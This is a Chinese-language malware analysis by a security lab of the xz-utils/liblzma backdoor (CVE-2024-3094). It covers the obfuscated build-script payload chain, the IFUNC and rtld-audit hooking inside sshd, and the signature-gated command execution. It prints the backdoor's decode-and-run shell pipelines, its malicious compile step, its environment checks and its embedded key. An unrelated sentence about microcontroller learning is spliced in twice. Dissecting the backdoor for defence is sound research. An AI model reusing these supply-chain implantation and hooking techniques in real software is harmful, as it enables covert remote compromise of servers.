作者:0x7F@知****道创宇404实验室********
时间:2024年4月29日
1 前言
xz-utils 是一种使用 LZMA 算法的数据压缩/解压工具,文件后缀名通常为 *.xz
,是 Linux 下广泛使用的压缩格式之一。
2024.03.29 由微软工程师 Andres Freund 披露了开源项目 xz-utils 存在的后门漏洞,漏洞编号为 CVE-2024-3094,其通过供应链攻击的方式劫持 sshd 服务的身份认证逻辑,从而实现认证绕过和远程命令执行,该后门涉及 liblzma.so 版本为 5.6.0 和 5.6.1,影响范围包括 Debian、Ubuntu、Fedora、CentOS、RedHat、OpenSUSE 等多个主流 Linux 发行版,具体影响版本主要是以上发行版的测试版本和实验版本。
截止本文发布,距离 xz-utils 后门披露已经过去一段时间,全球安全研究人员在互联网上发布了大量的高质量分析报告,这有助于我们对于xz-utils后门事件有一个全面的理解。本文将以这些分析报告为基础,进行翻译、整理和复现,并针对xz-utils后门代码部分展开分析研究,以了解攻击者的技术方案和实施细节,从而在防御角度提供一定的技术支持。
本文实验环境
Debian 12 x64xz-utils/liblzma.so 5.6.1IDA / GDB
2 xz-utils后门概要
参考资料
xz-utils 源代码托管在 Github 上,根据后门相关代码的提交记录可以定位攻击者是 Github 用户 JiaT75,其花费了近两年时间潜伏在 xz-utils 项目中,不断的为该项目贡献代码(最早可追溯到2022.02.07第一次提交代码),最终获得 xz-utils 仓库的直接维护权限,为构建后门打下了基础。
攻击者将后门目标定向至 sshd 服务,这能使后门在具备隐蔽性的同时产生更大的攻击效益,不过默认情况下 sshd 服务和 xz-utils 并没有联系;部分 Linux 发行版(以Debian为例)在 openssh-server
中引入了 libsystemd0
依赖,用于 sshd 进程和守护进程 systemd 进行通信,而 libsystemd0
依赖了 liblzma5
,于是构建后门拥有了一条可行路径,如下:
图2-1 sshd间接依赖liblzma5
在 sshd 服务的「证书验证」身份认证逻辑中,其关键函数 RSA_public_decrypt()*
会使用公钥对用户发送的数据进行签名验证,签名验证成功则表示身份认证成功;攻击者则通过 liblzma5 实现对 RSA_public_decrypt()*
函数的劫持替换,在替换的函数中内置了自己的公钥,并在认证成功后提供了命令用于执行功能,以此方式实现了后门,如下:
图2-2 RSA_public_decrypt()
身份认证函数
攻击者为了实现对 RSA_public_decrypt()*
函数的劫持替换,同时保持整个过程的隐蔽性和后门的兼容性,使用了非常复杂的实施方案,具体实施过程可大致分为三个环节:
liblzma5编译环节:攻击者将后门代码隐藏在 xz-utils 源码中,并修改编译脚本,在编译时将后门代码添加到 liblzma5.so
库中;
sshd启动环节:sshd启动时将间接加载 liblzma5.so
库,通过 IFUNC 和 rtdl-audit 机制实现对 RSA_public_decrypt()*
函数的劫持替换;
RSA_public_decrypt()*
后门生效环节:攻击者使用私钥签名证书,使用证书连接 sshd 服务进行身份认证,触发 RSA_public_decrypt()*
后门代码;
实施过程如下:
图2-3 后门植入的实施概要
下文我们将着重分析这三个环节的具体实施过程。
3 分析环境配置
参考资料
首先我们搭建分析环境,由于 xz-utils 后门事件披露后各 Linux 发行版为降低影响范围对 xz-utils/liblzma.so 进行了版本回退,以及攻击者只在 tarball 中分发包含后门代码的项目源码(即与 Github 项目主页的代码不一致,增加后门代码的隐蔽性),因此我们需要在下游发行版指定 commit 才能获取包含后门代码的源代码(xz-utils-debian),或者通过 web-archive 下载 xz-utils 的 tarball 源代码。
下载并解压源码后,使用如下命令编译 xz-utils 项目:
# [xz-utils] source directory$ ./configure$ make
编译成功后会生成 [src]/src/liblzma/.libs/liblzma.so.5.6.1
目标二进制文件,包含后门代码的 liblzma5.so 尺寸明显大于正常版本,如下:
图3-1 编译liblzma5.so以及比较
4 编译脚本环节
参考资料
攻击者将后门代码隐藏在xz-utils的源码中,并通过控制编译脚本的运行,实现源代码在编译过程中将后门代码植入到 liblzma5.so
库。这一步骤是后门植入的切入点,也是代码层面整个攻击流程的起点。流程示意图如下:
图4-1 编译脚本环节流程图
1.build-to-host.m4
首先我们关注后门编译脚本 [src]/m4/build-to-host.m4
文件,这是 m4 宏文件,其将随着 configure && make
命令进行宏展开并执行,AC_DEFUN(gl_BUILD_TO_HOST_INIT)
的代码将最先被执行,如下:
图4-2 build-to-host脚本查找后门文件
这里通过 grep
命令查找文件内容符合 #{4}[[:alnum:]]{5}#{4}$
特征的后门文件,即 [src]/tests/files/bad-3-corrupt_lzma2.xz
,测试执行如下:
图4-3 查找bad-3-corrupt_lzma2.xz后门文件
2.bad-3-corrupt_lzma2.xz
随后执行 AC_DEFUN(gl_BUILD_TO_HOST)
的代码,这里先对系统环境进行检查和适配,随后从 bad-3-corrupt_lzma2.xz
后门文件中提取文件内容,关键代码如下:
图4-4 bad-3-corrupt_lzma2.xz提取内容
结合上下文,该行代码实际执行如下,使用 sed
命令读取 bad-3-corrupt_lzma2.xz
文件内容,使用 tr
命令按 [\t -_]=>[ \t_-]
的对应关系进行字符替换,随后使用 xz
命令进行解压:
sed "r\n" bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
解压后将获得 bash 脚本文件helloworld.sh,其内容如下:
图4-5 bad-3-corrupt_lzma2.xz提取的脚本
这里使用 AC_CONFIG_COMMANDS
注册了 build-to-host
命令,后续调用该命令时就会执行 eval $gl_config_gt
代码,即 helloworld.sh
脚本文件。
3.good-large_compressed.lzma
helloworld.sh
脚本同样先对环境进行了检查,随后使用 xz
命令解压 [src]/tests/files/good-large_compressed.lzma
后门文件,使用 head
和 tail
命令截取文件内容,再次使用 tr
命令对内容进行字符替换,最后使用 xz
命令对嵌套的文件进行解压,整理后的关键命令如下:
xz -dc $srcdir/tests/files/good-large_compressed.lzma |eval $i |tail -c +31233 |tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377") |xz -F raw --lzma1 -dc |/bin/sh
此处通过 xz -F raw --lzma1 -dc
命令解压将得到新的 bash 脚本文件decompressed.sh。
4.decompressed.sh
decompressed.sh
这个脚本的代码较长,大多为环境检查和兼容性调整,最关键的代码有三段,第一段代码如下:
图4-6 decompressed.sh脚本grep预埋代码
依然是熟悉的操作,使用 grep
在源代码文件夹中寻找匹配规则的文件内容,通过 cut
命令截取内容,通过 tr
命令按字符替换,最后使用 xz
命令解压。但在源代码文件夹中我们没有发现符合规则的文件,这可能是攻击者为后续攻击预埋的代码。
脚本中
grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null
处代码同理。
5.liblzma_la-crc64-fast.o
第二段代码生成的目标二进制文件 liblzma_la-crc64-fast.o
如下:
图4-7 decompressed.sh脚本生成liblzma_la-crc64-fast.o
此处 $p=good-large_compressed.lzma
,$i
为上文中的 head
命令截取文件内容的代码,对截取的内容再通过 RC4 解密获得压缩文件,通过 xz
命令解压最终获得目标二进制文件 liblzma_la-crc64-fast.o
,如下:
图4-8 liblzma_la-crc64-fast.o
文件信息
6.crc64_fast.c
第三段代码则对源码 crc64_fast.c
进行了修改,将后门的入口代码添加在此处,如下:
图4-9 decompressed.sh脚本修改crc64_fast.c
源码
这里
crc32_fast.c
为了保证更好的兼容性,不再进行赘述。
通过 diff
命令来查看 crc64_fast.c
源码的修改,如下:
图4-10 修改crc64_fast.c
源码
对比代码可以看到攻击者使用 _is_arch_extension_supported()
替换了原始函数 is_arch_extension_supported()
,在内联函数 _is_arch_extension_supported()
中调用了外部函数 _get_cpuid()
。
而外部函数 _get_cpuid()
正隐藏在 liblzma_la-crc64-fast.o
中,攻击者使用如下编译命令,将后门二进制文件 liblzma_la-crc64-fast.o
和修改后的 crc64_fast.c
源码编译进原本的 liblzma_la-crc64_fast.o
目标文件中(注意下划线的微小差异):
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null
对比正常版本下的 liblzma_la-crc64_fast.o
,我们可以发现明显大小差异:
图4-11 liblzma_la-crc64_fast.o
比较
而随后包含后门代码的 liblzma_la-crc64_fast.o
将自然而然的被编译链接到库文件 liblzma5.so
中,完成后门的植入工作。
5 sshd启动环节
参考资料
sshd 服务启动时将间接加载 liblzma5.so
库,通过 IFUNC 和 rtdl-audit 机制实现对 RSA_public_decrypt()*
函数的劫持替换,这是后门执行的入口点。流程示意图如下:
图5-1 sshd启动环节流程图
我们可以使用 LD_PRELOAD/LD_LIBRARY_PATH
来指定 sshd 加载恶意的 liblzma5.so
库,由于后门代码还对环境变量进行了检查,我们还需要使用 env -i
清空环境变量;完整的动态调试执行命令如下:
# cp xz-utils-5.6.1/src/liblzma/.libs/liblzma.so.5.6.1 liblzma.so.5$ su root$ env -i LD_LIBRARY_PATH=/home/debian/xz/ /usr/sbin/sshd -D -p 2222
此处注意
LD_LIBRARY_PATH
需要使用绝对路径,避免子进程无法找到指定的恶意liblzma.so.5
。
执行如下:
图5-2 动态调试加载恶意liblzma.so
1.IFUNC函数
通过上文后门植入的过程分析,我们可以看到后门执行的入口点位于 crc64_fast.c
的 crc64_resolve()
函数下,后门代码如下:
......lzma_resolver_attributesstatic crc64_func_typecrc64_resolve(void){return _is_arch_extension_supported() ? &crc64_arch_optimized : &crc64_generic;}......#ifdef CRC_USE_IFUNCextern LZMA_API(uint64_t)lzma_crc64(const uint8_t *buf, size_t size, uint64_t crc) __attribute__((__ifunc__("crc64_resolve")));#else......
lzma_crc64()
是一个指向 crc64_resolve()
的 IFUNC 函数,IFUNC 是一种动态函数的实现方案,由动态加载器调用并绑定具体的函数,这个时机甚至早于 GDB 的 catch load
异常断点,无法通过常规断点动态调试此处代码逻辑。
这里通过二进制补丁的方式打断点,使用 objdump -D liblzma.so.5 | grep crc64_resolve
找到函数偏移,修改函数的第一个字节为 0xCC
从而打下断点,其函数调用栈如下:
图5-3 IFUNC-crc64_resolve
函数调用栈
GDB 调试断在此处后,需要手动使用
set {char}0x7ffff74a2ea0=0x55, set $rip=0x7ffff74a2ea0
命令恢复原始指令push ebp
和重置$rip
,随后才可以进行正常调试。
在 IDA 中分析 crc64_resolve()
函数,也就是 lzma_crc64()
函数,其中 get_cpuid()
是后门代码的入口调用点,如下:
图5-4 lzma_crc64
函数代码
逐步跟入 get_cpuid()
函数至 sub_4764()
,该函数使用 GOT 表重写的方式修改了 cpuid()
函数地址,这里调用 cpuid()
实际调用了 sub_21240()/backdoor_init_stage2()
函数,为静态分析制造了一定的难度,如下:
图5-5 sub_4764
函数代码
2.backdoor_init_stage2
在 IDA 中跳到 sub_21240()/backdoor_init_stage2()
函数,其关键代码片段如下:
图5-6 backdoor_init_stage2
函数代码
其中 sub_12020()/backdoor_vtbl_init()
用于后门初始化全局函数调用表,如下:
图5-7 backdoor_vtbl_init
函数代码
sub_21C90()/parse_elf_init()
则是后门初始化的主函数,主要通过解析 ELF 文件格式找到目标函数进行劫持替换(由于此处函数代码调用处于 IFUNC 的调用生命周期中,因此导入导出表尚未加载);该函数代码量较大,我们找几处关键点进行分析。
3.check_conditions
首先跟入 sub_12E00()
其内部调用 sub_12920()/check_conditions()
函数进行运行环境检查,首先检查进程名是否为 /usr/sbin/sshd
,随后对环境变量进行检查,如下:
图5-8 check_conditions
函数代码
通过分析 trie_getkey()
表项数据,这里检查了环境变量不能包含以下项:
DISPLAY=LD_AUDIT=LD_BIND_NOT=LD_DEBUG=LD_PROFILE=LD_USE_LOAD_BIAS=LINES=TERM=WAYLAND_DISPLAY=yolAbejyiejuvnup=Evjtgvsh5okmkAvj
4.process_shared_libraries_map
随后跟入 sub_16590()
其内部调用 sub_149B0()/process_shared_libraries_map()
函数解析目标 so 库的基地址,如下:
图5-9 process_shared_libraries_map
函数代码
其解析的 so 库按序如下:
sshdld-linux-x86-64.soliblzma.solibcrypto.solibsystemd.solibc.so
5.注册rtld-audit
后续代码则根据 so 库再进一步解析目标函数的地址。更为关键的代码在 sub_21240()/backdoor_init_stage2()+0x207c
处,这里通过构造 audit_ifaces
结构体向动态装载器(ld.so
)手动注册审计函数 symbind64()
,如下:
图5-10 构造audit_ifaces
结构体注册审计函数
symbind64()
将在动态加载器(ld.so
)每次装载导出函数时被调用,攻击者则瞄准这个时机实现对目标函数的劫持替换,除此之外 LD_AUDIT
的执行时机早于 LD_PRELOAD
,能够绕过部分安全检测机制。
这实际使用了 rtld-audit 机制,等价于在常规开发中的编写审计功能库,定义并实现
la_symbind64
函数,常规使用环境变量进行加载如LD_AUDIT=./audit.so ./test
。
按照如上分析,我们动态调试在 sub_ABB0()/install_hook()
函数处打下断点,此时函数调用栈如下:
图5-11 rtld-audit
调用流程中的install_hook
函数
由于 rtld-audit 机制被调用时也非常早,这里我们很难打下断点,比较简单的方式是在未开启地址随机化的情况下,先运行一次程序,然后按照
sub_ABB0()
函数的偏移地址使用hbreak
打下硬件断点,重新运行即可断下。
6.install_hook
跟入 sub_ABB0()/install_hook()
函数,其通过 trie_getkey()
比较当前函数名称是否为目标函数,若匹配则使用 hook 函数对其进行替换,如下:
图5-12 install_hook
函数对目标函数进行hook
攻击者在这里设置了如下三个 hook 函数来提高成功率,其中任一函数 hook 成功后则退出,并调用 sub_CFA0()
清理 rtld-audit 的痕迹。
RSA_public_decrypt()EVP_PKEY_set1_RSA()RSA_get0_key()
到这里攻击者就实现了对认证函数的劫持替换,完成了后门代码的安装工作。
6 后门代码执行环节
参考资料
攻击者虽然设置了三个 hook 函数,但于 RSA_public_decrypt()
在 libcrypto.so
中最靠前,所以优先级最高,本文我们主要分析 RSA_public_decrypt_hook()
的代码。该环节的流程示意图如下:
图6-1 后门代码执行环节流程图
RSA_public_decrypt()
函数位于 sshd 服务身份认证的证书认证流程中,我们可以使用 ssh-keygen
命令生成并签名一个证书用于测试:
# 生成 test_ca 公私钥ssh-keygen -t rsa -b 4096 -f test_ca -C test_ca# 生成 user_key 公私钥ssh-keygen -t rsa -b 4096 -f user_key -C user_key# 使用 test_ca 对 user_key 生成证书ssh-keygen -s test_ca -I test@test.com -n test-user -V +52w user_key.pub# 查看证书信息ssh-keygen -L -f user_key-cert.pub# 使用证书连接服务器进行认证ssh -i user_key-cert.pub debian@10.0.25.194 -p 2222
ssh的三种身份认证:1.密码认证;2.公私钥认证;3.证书认证
使用 GDB 在 sub_164B0()/RSA_public_decrypt_hook()
处打下断点,ssh 客户端使用证书认证连接服务器,此时调用栈如下:
图6-2 RSA_public_decrypt_hook
函数调用栈
跟入 sub_164B0()/RSA_public_decrypt_hook()
的代码,关键代码为调用后门主函数代码 sub_16710()/hook_main()
,随后根据后门代码的执行结果,按需执行原始的 RSA_public_decrypt()
函数,回归正常的身份认证逻辑,如下:
图6-3 RSA_public_decrypt_hook
函数代码
在 sub_16710()/hook_main()
函数中,首先从认证报文中提取密钥 n,e 等信息并对报文结构进行检查,如下检查协议报文 magic number 计算结果小于等于 3,这也是攻击命令的取值:
图6-4 hook_main
函数检查报文magic number
随后调用 sub_23650()/decrypt_ed448_public_key()
函数获取内置在后门代码中的 public-key
公钥,公钥在其内部使用 chacha20
加密隐藏,这里进行解密:
图6-5 decrypt_ed448_public_key
函数代码
此处解密后的 ED448 公钥内容为:
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 2834 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 4810 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e20 d3 2c 60 2b 2c 6d 31 00
后门代码中多处使用 chacha20 解密,其
key
和iv
根据相关上下文进行确定。
随后调用 sub_14320()/verify_ed448_signature()
使用公钥对签名进行验证:
图6-6 调用verify_ed448_signature
进行签名验证
通过签名验证后还会进行复杂的检查条件,最终在 sub_16710()/hook_main()+0xb75
处调用 system()
执行命令:
图6-7 调用system执行命令
7 总结
参考资学完了前面三个程序后,可以说已经入门了单片机开发,能进行以下几种基础操作:控制端口输出,编写中断函数,通过uart口输出调试信息。
在本文中,我们围绕着 xz-utils 后门代码的整个生命周期进行分析研究,沿着后门代码的执行路径,从 liblzma.so
的编译阶段到 sshd
服务的启动阶段,分别复现了其后门的植入和安装工程,随后从后门关键函数 RSA_public_decrypt()
入手,分析了后门代码的执行流程和攻击意图。
通过以上 xz-utils 的后门代码分析可以看到攻击者具有高水平的技术能力,而这仍是管中窥豹,我们仅仅只是对后门代码的主流程进行分析研究,根据互联网上的多份技术报告剖析,攻击者在代码混淆、反调试、sshd日志隐藏、反汇编引擎等方面,也精心进行设计和实现;同时在代码之外攻击者也表现得非常专业,精心挑选攻击目标,再通过长期的潜伏、伪装获得信任,最终获得代码仓库的权限。而这些方方面面都还值得我们进一步的挖掘和研究。
8 参考链接
参考资学完了前面三个程序后,可以说已经入门了单片机开发,能进行以下几种基础操作:控制端口输出,编写中断函数,通过uart口输出调试信息。
[1] https://github.com/tukaani-project/xz
[2] https://www.openwall.com/lists/oss-security/2024/03/29/4
[3] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-3094
[4] https://mp.weixin.qq.com/s/CFuqNN36M9DgO1FAGVy5GA
[6] https://github.com/tukaani-project/xz/commits?author=JiaT75
[7] https://packages.debian.org/trixie/openssh-server
[8] https://salsa.debian.org/debian/xz-utils/-/tree/46cb28adbbfb8f50a10704c1b86f107d077878e6
[9] https://web.archive.org/web/
[10] https://github.com/tukaani-project/xz/releases/download
[11] https://sourceware.org/glibc/wiki/GNU\_IFUNC
[12] https://www.agner.org/optimize/blog/read.php?i=167
[13] https://gist.github.com/q3k/3fadc5ce7b8001d550cf553cfdc09752
[14] https://elixir.bootlin.com/glibc/latest/source/sysdeps/generic/ldsodefs.h#L237
[15] https://man7.org/linux/man-pages/man7/rtld-audit.7.html
[16] https://gynvael.coldwind.pl/?lang=en&id=782
[17] https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504
[18] https://github.com/luvletter2333/xz-backdoor-analysis
[19] https://securelist.com/xz-backdoor-story-part-1/112354/
[20] https://github.com/binarly-io/binary-risk-intelligence/tree/master/xz-backdoor
[21] https://github.com/amlweems/xzbot
作者名片
往 期 热 门
(点击图片跳转)
戳“阅读原文”更多精彩内容!